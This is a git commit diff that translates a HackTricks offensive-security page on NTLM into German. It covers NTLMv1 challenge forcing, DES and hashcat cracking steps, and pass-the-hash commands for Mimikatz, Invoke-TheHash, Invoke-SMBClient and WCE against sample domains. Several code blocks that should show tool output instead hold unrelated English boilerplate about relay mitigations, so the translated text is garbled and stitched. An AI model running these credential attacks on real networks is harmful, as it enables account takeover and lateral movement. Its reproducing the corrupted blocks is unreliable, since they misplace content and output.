Translated ['windows-hardening/ntlm/README.md'] to de

This commit is contained in:
Translator 2024-06-05 19:58:15 +00:00
parent 9c9e44d617
commit 8779f2237b

View file

@ -4,19 +4,19 @@
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks Merch**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) bei oder der [**Telegram-Gruppe**](https://t.me/peass) oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **einreichen**.
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder** folgen Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **einreichen**.
</details>
## Grundlegende Informationen
In Umgebungen, in denen **Windows XP und Server 2003** im Einsatz sind, werden LM (Lan Manager)-Hashes verwendet, obwohl bekannt ist, dass diese leicht kompromittiert werden können. Ein bestimmter LM-Hash, `AAD3B435B51404EEAAD3B435B51404EE`, deutet auf ein Szenario hin, in dem LM nicht verwendet wird und den Hash für einen leeren String darstellt.
In Umgebungen, in denen **Windows XP und Server 2003** im Einsatz sind, werden LM (Lan Manager)-Hashes verwendet, obwohl bekannt ist, dass diese leicht kompromittiert werden können. Ein bestimmter LM-Hash, `AAD3B435B51404EEAAD3B435B51404EE`, zeigt ein Szenario an, in dem LM nicht verwendet wird und den Hash für einen leeren String darstellt.
Standardmäßig wird das **Kerberos**-Authentifizierungsprotokoll als primäre Methode verwendet. NTLM (NT LAN Manager) tritt unter bestimmten Umständen auf: Fehlen von Active Directory, Nichtexistenz der Domäne, Fehlfunktion von Kerberos aufgrund falscher Konfiguration oder wenn Verbindungen unter Verwendung einer IP-Adresse anstelle eines gültigen Hostnamens versucht werden.
Standardmäßig ist das **Kerberos**-Authentifizierungsprotokoll die primäre Methode. NTLM (NT LAN Manager) wird unter bestimmten Umständen eingesetzt: Fehlen von Active Directory, Nichtexistenz der Domäne, Fehlfunktion von Kerberos aufgrund falscher Konfiguration oder wenn Verbindungen unter Verwendung einer IP-Adresse anstelle eines gültigen Hostnamens versucht werden.
Das Vorhandensein des **"NTLMSSP"**-Headers in Netzwerkpaketen signalisiert einen NTLM-Authentifizierungsprozess.
@ -63,7 +63,7 @@ Mögliche Werte:
5. Der **Server sendet** an den **Domänencontroller den Domänennamen, den Benutzernamen, die Herausforderung und die Antwort**. Wenn **kein Active Directory konfiguriert ist** oder der Domänenname der Name des Servers ist, werden die Anmeldeinformationen **lokal überprüft**.
6. Der **Domänencontroller überprüft, ob alles korrekt ist** und sendet die Informationen an den Server.
Der **Server** und der **Domänencontroller** können über einen **Sicheren Kanal** über den **Netlogon**-Server eine Verbindung herstellen, da der Domänencontroller das Passwort des Servers kennt (es befindet sich in der **NTDS.DIT**-Datenbank).
Der **Server** und der **Domänencontroller** können über den **Netlogon-Server** einen **sicheren Kanal** erstellen, da der Domänencontroller das Passwort des Servers kennt (es befindet sich in der **NTDS.DIT**-Datenbank).
### Lokales NTLM-Authentifizierungsschema
@ -71,14 +71,14 @@ Die Authentifizierung erfolgt wie zuvor erwähnt, aber der **Server kennt den Ha
### NTLMv1-Herausforderung
Die **Herausforderungslänge beträgt 8 Bytes** und die **Antwort ist 24 Bytes** lang.
Die **Herausforderung ist 8 Bytes** lang und die **Antwort ist 24 Bytes** lang.
Der **Hash NT (16 Bytes)** ist in **3 Teile von jeweils 7 Bytes** unterteilt (7B + 7B + (2B+0x00\*5)): der **letzte Teil ist mit Nullen gefüllt**. Dann wird die **Herausforderung** separat mit jedem Teil verschlüsselt und die **resultierenden** verschlüsselten Bytes werden **zusammengefügt**. Insgesamt: 8B + 8B + 8B = 24 Bytes.
Der **Hash NT (16 Bytes)** ist in **3 Teile zu je 7 Bytes** aufgeteilt (7B + 7B + (2B+0x00\*5)): der **letzte Teil ist mit Nullen gefüllt**. Dann wird die **Herausforderung** separat mit jedem Teil verschlüsselt und die **resultierenden** verschlüsselten Bytes werden **zusammengefügt**. Insgesamt: 8B + 8B + 8B = 24 Bytes.
**Probleme**:
* Mangel an **Zufälligkeit**
* Die 3 Teile können **einzeln angegriffen** werden, um den NT-Hash zu finden.
* Die 3 Teile können **einzeln angegriffen** werden, um den NT-Hash zu finden
* **DES ist knackbar**
* Der 3. Schlüssel besteht immer aus **5 Nullen**.
* Bei derselben Herausforderung ist die **Antwort gleich**. Sie können also dem Opfer als **Herausforderung** den String "**1122334455667788**" geben und die Antwort mit **vorab berechneten Rainbow-Tabellen angreifen**.
@ -89,13 +89,13 @@ Heutzutage ist es immer seltener, Umgebungen mit konfigurierter Unconstrained De
Sie könnten einige Anmeldeinformationen/Sitzungen, die Sie bereits im AD haben, missbrauchen, um den Drucker zu bitten, sich gegen einen **Host unter Ihrer Kontrolle zu authentifizieren**. Dann können Sie mit `metasploit auxiliary/server/capture/smb` oder `responder` die **Authentifizierungsherausforderung auf 1122334455667788** setzen, den Authentifizierungsversuch erfassen und wenn er mit **NTLMv1** durchgeführt wurde, können Sie ihn **knacken**.\
Wenn Sie `responder` verwenden, könnten Sie versuchen, die Option `--lm` zu verwenden, um zu versuchen, die **Authentifizierung zu downgraden**.\
_Beachten Sie, dass für diese Technik die Authentifizierung mit NTLMv1 (NTLMv2 ist ungültig) durchgeführt werden muss._
_Beachten Sie, dass für diese Technik die Authentifizierung mit NTLMv1 durchgeführt werden muss (NTLMv2 ist ungültig)._
Denken Sie daran, dass der Drucker das Computerkonto während der Authentifizierung verwendet und Computerkonten **lange und zufällige Passwörter** verwenden, die Sie **wahrscheinlich nicht mit gängigen Wörterbüchern knacken können**. Aber die **NTLMv1**-Authentifizierung **verwendet DES** ([mehr Informationen hier](./#ntlmv1-challenge)), also können Sie mit speziellen Diensten zum Knacken von DES den Hash knacken (Sie könnten z.B. [https://crack.sh/](https://crack.sh) verwenden).
Denken Sie daran, dass der Drucker das Computerkonto während der Authentifizierung verwendet und Computerkonten **lange und zufällige Passwörter** verwenden, die Sie **wahrscheinlich nicht mit gängigen Wörterbüchern knacken können**. Aber die **NTLMv1**-Authentifizierung **verwendet DES** ([mehr Informationen hier](./#ntlmv1-challenge)), also können Sie mit speziellen Diensten zum Knacken von DES wie [https://crack.sh/](https://crack.sh) oder [https://ntlmv1.com/](https://ntlmv1.com) es knacken.
### NTLMv1-Angriff mit hashcat
NTLMv1 kann auch mit dem NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) gebrochen werden, das NTLMv1-Nachrichten in einem Format formatiert, das mit hashcat geknackt werden kann.
NTLMv1 kann auch mit dem NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) gebrochen werden, das NTLMv1-Nachrichten in einem Format formatiert, das mit hashcat gebrochen werden kann.
Der Befehl
```bash
@ -103,22 +103,26 @@ python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB
```
### NTLM Relay Attack
#### Overview
#### Introduction
NTLM-Weiterleitungsangriffe sind eine Art von Angriffen, bei denen ein Angreifer die NTLM-Authentifizierung eines Opfers abfängt und an einen anderen Server weiterleitet, um Zugriff zu erhalten. Dieser Angriff kann verwendet werden, um sich Zugriff auf Systeme zu verschaffen, die normalerweise nicht direkt erreichbar wären.
NTLM relay attacks are a common technique used by attackers to exploit the NTLM authentication protocol. This attack involves relaying NTLM authentication messages from a target host to a victim host, allowing the attacker to impersonate the target and gain unauthorized access to resources on the victim's system.
#### Angriffsdetails
#### How it Works
1. Der Angreifer fängt den NTLM-Authentifizierungsverkehr des Opfers ab.
2. Der Angreifer leitet die Authentifizierung an einen anderen Server weiter.
3. Der Server akzeptiert die Weiterleitung und authentifiziert den Angreifer.
4. Der Angreifer erhält Zugriff auf Ressourcen des Opfers.
1. The attacker intercepts an NTLM authentication request from the target host.
2. The attacker relays the authentication request to the victim host.
3. The victim host processes the authentication request, believing it is coming from the target host.
4. If successful, the attacker gains access to the victim host using the target host's credentials.
#### Gegenmaßnahmen
#### Mitigation
- Verwenden von Kerberos anstelle von NTLM, wenn möglich.
- Aktivieren von SMB-Signierung, um die Integrität der Daten zu gewährleisten.
- Implementieren von LDAP-Signierung und -Verschlüsselung, um die Sicherheit zu erhöhen.
To protect against NTLM relay attacks, consider implementing the following measures:
- **Enforce SMB Signing:** Require SMB signing to prevent attackers from tampering with authentication messages.
- **Enable Extended Protection for Authentication:** Helps protect against NTLM relay attacks by requiring channel binding tokens.
- **Disable NTLM:** Consider disabling NTLM authentication in favor of more secure protocols like Kerberos.
By implementing these measures, you can significantly reduce the risk of falling victim to NTLM relay attacks.
```bash
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
@ -148,23 +152,23 @@ NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
## Introduction
NTLM relay attacks are a common technique used by attackers to escalate privileges within a network. This attack involves intercepting the NTLM authentication traffic between a client and a server, and relaying it to another server to gain unauthorized access.
NTLM relay attacks are a common technique used by attackers to escalate privileges within a network. By intercepting and relaying NTLM authentication messages, an attacker can impersonate a legitimate user or machine to gain unauthorized access to resources.
## How it works
1. The attacker intercepts the NTLM authentication request from the client.
2. The attacker relays the request to another server within the network.
3. The server processes the authentication request, believing it is coming from the original client.
4. If successful, the attacker gains unauthorized access to the server using the intercepted credentials.
1. The attacker intercepts an NTLM authentication request from a victim machine to a server.
2. The attacker relays the authentication request to another server within the network.
3. The second server responds to the authentication request, believing it is coming from the victim machine.
4. If successful, the attacker can access resources on the second server using the victim's credentials.
## Mitigation
To prevent NTLM relay attacks, it is recommended to:
- Implement SMB signing to prevent tampering with authentication traffic.
- Enforce the use of LDAP/S signing to protect against relay attacks.
- Implement SMB signing to prevent message tampering.
- Enforce LDAP signing and channel binding.
- Disable NTLM authentication in favor of more secure protocols like Kerberos.
By following these mitigation techniques, organizations can reduce the risk of falling victim to NTLM relay attacks.
By following these best practices, organizations can reduce the risk of falling victim to NTLM relay attacks.
```bash
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
@ -173,7 +177,7 @@ Führen Sie hashcat aus (am besten verteilt über ein Tool wie hashtopolis), da
```bash
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
In diesem Fall wissen wir, dass das Passwort dazu "password" ist, also werden wir für Demonstrationszwecke betrügen:
In diesem Fall wissen wir, dass das Passwort dafür "password" ist, also werden wir für Demonstrationszwecke betrügen:
```bash
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
@ -190,9 +194,7 @@ b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
```
### Abschließend
Hier ist der letzte Teil:
Schließlich der letzte Teil:
```bash
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
@ -204,34 +206,37 @@ Hier ist der letzte Teil:
#### Pass-the-Hash
Pass-the-Hash is a technique that allows an attacker to authenticate to a remote server or service by using the NTLM hash of a user's password, instead of requiring the plaintext password itself. This can be achieved by capturing the hash from memory or from a compromised system and then using it to impersonate the user without knowing the actual password.
Pass-the-Hash is a technique that allows an attacker to authenticate to a remote server or service by using the NTLM hash of a user's password, instead of requiring the plaintext password itself. This can be achieved by extracting the NTLM hash from memory or from a compromised system.
#### Mitigations
---
To mitigate Pass-the-Hash attacks, consider implementing the following measures:
#### Protection Against Pass-the-Hash Attacks
To protect against Pass-the-Hash attacks, it is recommended to implement the following measures:
1. **Use NTLMv2**: NTLMv2 is more secure than NTLM and is resistant to Pass-the-Hash attacks.
2. **Enforce SMB Signing**: Enabling SMB signing can prevent attackers from relaying NTLM authentication attempts.
3. **Restrict NTLM**: Limit the use of NTLM within your network and prioritize more secure authentication protocols like Kerberos.
2. **Enforce SMB Signing**: Enabling SMB signing can help prevent Pass-the-Hash attacks by ensuring the integrity of the data transferred over SMB.
3. **Restrict NTLM**: Limit the use of NTLM authentication in the network to reduce the attack surface for Pass-the-Hash attacks.
4. **Monitor Event Logs**: Monitor Windows event logs for signs of Pass-the-Hash attacks or other suspicious activities.
By following these mitigations, you can reduce the risk of Pass-the-Hash attacks and enhance the overall security of your Windows environment.
By following these recommendations, organizations can better protect their systems and data from Pass-the-Hash attacks.
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
### NTLMv2 Challenge
Die **Challenge-Länge beträgt 8 Bytes** und es werden **2 Antworten gesendet**: Eine ist **24 Bytes** lang und die Länge der **anderen** ist **variabel**.
Die **Herausforderungslänge beträgt 8 Bytes** und es werden **2 Antworten gesendet**: Eine ist **24 Bytes** lang und die Länge der **anderen** ist **variabel**.
Die **erste Antwort** wird erstellt, indem der **String**, der aus **Client und Domain** besteht, mit **HMAC\_MD5** verschlüsselt wird und als **Schlüssel** den **Hash MD4** des **NT-Hashes** verwendet. Anschließend wird das **Ergebnis** als **Schlüssel** verwendet, um unter Verwendung von **HMAC\_MD5** die **Challenge** zu verschlüsseln. Dazu wird eine **Client-Challenge von 8 Bytes hinzugefügt**. Insgesamt: 24 B.
**Die erste Antwort** wird erstellt, indem der **String** aus **Client und Domain** mit dem **Hash MD4** des **NT-Hashes** verschlüsselt wird. Anschließend wird das **Ergebnis** als **Schlüssel** verwendet, um unter Verwendung von **HMAC\_MD5** die **Herausforderung** zu verschlüsseln. Dazu wird **eine Client-Herausforderung von 8 Bytes hinzugefügt**. Insgesamt: 24 B.
Die **zweite Antwort** wird unter Verwendung von **mehreren Werten** erstellt (eine neue Client-Challenge, ein **Zeitstempel** zur Vermeidung von **Wiederholungsangriffen**...).
Die **zweite Antwort** wird unter Verwendung von **mehreren Werten** (eine neue Client-Herausforderung, ein **Zeitstempel** zur Vermeidung von **Wiederholungsangriffen**...) erstellt.
Wenn Sie einen **pcap haben, der einen erfolgreichen Authentifizierungsprozess erfasst hat**, können Sie dieser Anleitung folgen, um Domain, Benutzername, Challenge und Antwort zu erhalten und zu versuchen, das Passwort zu knacken: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://research.801labs.org/cracking-an-ntlmv2-hash/)
Wenn Sie einen **pcap haben, der einen erfolgreichen Authentifizierungsprozess erfasst hat**, können Sie dieser Anleitung folgen, um den Domainnamen, Benutzernamen, die Herausforderung und die Antwort zu erhalten und zu versuchen, das Passwort zu knacken: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://research.801labs.org/cracking-an-ntlmv2-hash/)
## Pass-the-Hash
**Sobald Sie den Hash des Opfers haben**, können Sie ihn **imitieren**.\
Sie müssen ein **Tool** verwenden, das die **NTLM-Authentifizierung unter Verwendung** dieses **Hashes durchführt**, **oder** Sie könnten eine neue **Sitzungsanmeldung erstellen** und diesen **Hash** in das **LSASS einspeisen**, sodass bei jeder **NTLM-Authentifizierung dieser Hash verwendet wird.** Die letzte Option ist das, was mimikatz macht.
Sie müssen ein **Tool** verwenden, das die **NTLM-Authentifizierung unter Verwendung** dieses **Hashes durchführt**, **oder** Sie könnten eine neue **Sitzungsanmeldung erstellen** und diesen **Hash** in den **LSASS injizieren**, sodass bei jeder **NTLM-Authentifizierung dieser Hash verwendet wird.** Die letzte Option ist das, was mimikatz macht.
**Bitte denken Sie daran, dass Sie Pass-the-Hash-Angriffe auch unter Verwendung von Computerkonten durchführen können.**
@ -241,7 +246,7 @@ Sie müssen ein **Tool** verwenden, das die **NTLM-Authentifizierung unter Verwe
```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
Dies startet einen Prozess, der den Benutzern gehört, die Mimikatz gestartet haben, aber intern in LSASS sind die gespeicherten Anmeldeinformationen diejenigen innerhalb der Mimikatz-Parameter. Dann können Sie auf Netzwerkressourcen zugreifen, als wären Sie dieser Benutzer (ähnlich wie der `runas /netonly`-Trick, aber Sie müssen das Klartextpasswort nicht kennen).
Dies startet einen Prozess, der den Benutzern gehört, die Mimikatz gestartet haben, aber intern in LSASS sind die gespeicherten Anmeldedaten diejenigen innerhalb der Mimikatz-Parameter. Dann können Sie auf Netzwerkressourcen zugreifen, als wären Sie dieser Benutzer (ähnlich wie der `runas /netonly` Trick, aber Sie müssen das Klartextpasswort nicht kennen).
### Pass-the-Hash von Linux aus
@ -279,7 +284,7 @@ Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38
```
#### Invoke-SMBEnum
Der `Invoke-SMBEnum` Befehl führt eine SMB-Enumeration durch, um Informationen über Benutzer, Gruppen, Freigaben und mehr von einem Remote-Windows-System zu sammeln.
#### Aufrufen von SMBEnum
```bash
Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose
```
@ -291,7 +296,7 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100
```
### [Evil-WinRM Pass the Hash](../../network-services-pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm)
### Windows-Anmeldeinformations-Editor (WCE)
### Windows Credentials Editor (WCE)
**Muss als Administrator ausgeführt werden**
@ -319,6 +324,6 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}
## Analysieren von NTLM-Herausforderungen aus einem Netzwerkcapture
## Parsen von NTLM-Herausforderungen aus einem Netzwerkcapture
**Sie können** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) **verwenden**